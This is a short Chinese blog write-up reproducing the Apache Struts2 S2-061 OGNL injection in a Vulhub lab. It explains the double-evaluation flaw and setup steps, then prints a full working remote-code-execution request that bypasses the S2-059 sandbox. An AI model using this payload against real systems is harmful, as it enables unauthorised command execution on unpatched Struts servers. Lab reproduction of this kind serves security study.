K.Fire
没有勇敢的工作
只有困难的打工人
只有困难的打工人
Struts2 会对某些标签属性(比如 id
,其他属性有待寻找) 的属性值进行二次表达式解析,因此当这些标签属性中使用了 %{x}
且 x
的值用户可控时,用户再传入一个 %{payload}
即可造成OGNL表达式执行。S2-061是对S2-059沙盒进行的绕过。
Struts 2.0.0 - Struts 2.5.25
Vulhub已上线docker部署
git clone https://github.com/vulhub/vulhub.git
cd /root/vulhub/struts2/s2-061
docker-compose -version
S2-061
的环境就是 S2-059
的。<html>
<head>
<title>S2-059 demo</title>
</head>
<body>
<a id="" href="/index.action">your input id:
<br>has ben evaluated again in id attribute</a>
</body>
</html>
a
标签的id
属性,payload如下POST /index.action HTTP/1.1
Host: 192.168.91.133:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Content-Length: 793
------WebKitFormBoundary
Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundary